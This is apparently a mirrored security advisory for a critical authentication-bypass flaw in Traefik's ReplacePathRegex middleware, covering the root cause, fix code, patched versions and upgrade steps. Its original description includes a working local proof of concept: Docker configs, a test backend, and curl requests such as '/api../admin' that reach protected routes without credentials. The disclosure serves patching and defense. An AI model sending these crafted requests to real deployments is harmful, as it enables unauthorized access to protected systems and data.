Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware
Published August 6, 2026Updated August 18, 2026Source: osv
Summary
## Summary
There is a critical authentication-bypass vulnerability in Traefik's `ReplacePathRegex` middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example `regex: "^/api(.*)"`, `replacement: "/$1"`), a crafted request can produce an un-normalized replacement path such as `/../admin`, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for `StripPrefix` in CVE-2026-48020; that post-replacement normalization check had not been applied to `ReplacePathRegex`. The fix rejects any request whose replaced path does not match its normalized form.
## Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.52
- https://github.com/traefik/traefik/releases/tag/v3.6.23
- https://github.com/traefik/traefik/releases/tag/v3.7.7
## For more information
If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).
<details>
<summary>Original Description</summary>
### Summary
A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex.
### Details
When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: "^/api(.*)"`, `replacement: "/$1"`), an attacker can inject implicit traversal sequences into the capture group.
**Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix.
**Attack flow:**
1. Attacker sends `GET /api../admin`
2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment)
3. Router matches `PathPrefix(/api)` → selects the public router (no auth middleware)
4. ReplacePathRegex applies `^/api(.*)` → captures `../admin` → replacement produces `/../admin`
5. No normalization check exists → path forwarded to backend as-is
6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin`
7. Attacker receives protected content without authentication
**Suggested fix:** Add the same JoinPath equality check after line 67:
```go
if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path {
http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
return
}
```
### PoC
**Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl
**1. Create `docker-compose.yml`:**
```yaml
services:
traefik:
image: traefik:v3.7.6
command:
- "--api.insecure=true"
- "--providers.file.filename=/etc/traefik/dynamic.yml"
- "--entrypoints.web.address=:80"
ports:
- "8080:8080"
- "80:80"
volumes:
- ./dynamic.yml:/etc/traefik/dynamic.yml:ro
healthcheck:
test: ["CMD", "traefik", "healthcheck"]
interval: 5s
timeout: 3s
retries: 5
backend:
image: node:22-alpine
working_dir: /app
volumes:
- ./server.js:/app/server.js:ro
command: ["node", "server.js"]
healthcheck:
test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"]
interval: 5s
timeout: 3s
retries: 5
```
**2. Create `dynamic.yml`:**
```yaml
http:
routers:
public-api:
rule: "PathPrefix(`/api`)"
entryPoints: [web]
middlewares: [rewrite-api]
service: backend-svc
priority: 1
protected-admin:
rule: "PathPrefix(`/admin`)"
entryPoints: [web]
middlewares: [auth]
service: backend-svc
priority: 2
middlewares:
rewrite-api:
replacePathRegex:
regex: "^/api(.*)"
replacement: "/$1"
auth:
basicAuth:
users:
- "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/"
services:
backend-svc:
loadBalancer:
servers:
- url: "http://backend:3000"
```
**3. Create `server.js`:**
```javascript
const http = require('http');
const path = require('path');
const server = http.createServer((req, res) => {
const normalized = path.posix.normalize(req.url.split('?')[0]);
res.setHeader('Content-Type', 'text/plain');
if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); }
else if (normalized === '/admin' || normalized.startsWith('/admin/')) {
res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\n`);
} else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\n`); }
});
server.listen(3000);
```
**4. Run and exploit:**
```bash
docker compose up -d && sleep 5
# Confirm auth is enforced:
curl -s -o /dev/null -w "%{http_code}" http://localhost/admin
# → 401
# Auth bypass:
curl -s http://localhost/api../admin
# → ADMIN_SECRET_DATA (normalized=/admin)
# URL-encoded variant:
curl -s http://localhost/api%2e%2e/admin
# → ADMIN_SECRET_DATA (normalized=/admin)
```
**Configuration note:** The regex `^/api(.*)` (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to `StripPrefix("/api")` for legitimate traffic. The pattern `^/api/(.*)` (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where `StripPrefix("/api")` was vulnerable but `StripPrefix("/api/")` was not.
### Impact
Authentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.
</details>
---
Remediation
Upgrade to the fixed version using your package manager.
Go
Update github.com/traefik/traefik/v3 to 3.7.7 or later
go get github.com/traefik/traefik/v3@v3.7.7
Go
Update github.com/traefik/traefik/v3 to 3.6.23 or later
go get github.com/traefik/traefik/v3@v3.6.23
Go
Update github.com/traefik/traefik/v2 to 2.11.52 or later
go get github.com/traefik/traefik/v2@v2.11.52
After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.
Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2026-65600?
CVE-2026-65600 affects github.com/traefik/traefik/v3, github.com/traefik/traefik/v2 and github.com/traefik/traefik. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-65600 and 200,000+ other known vulnerabilities.
Severity & Exploitability
CVSS Score
9.1
Exploitation is straightforward and causes maximum impact. Patch immediately.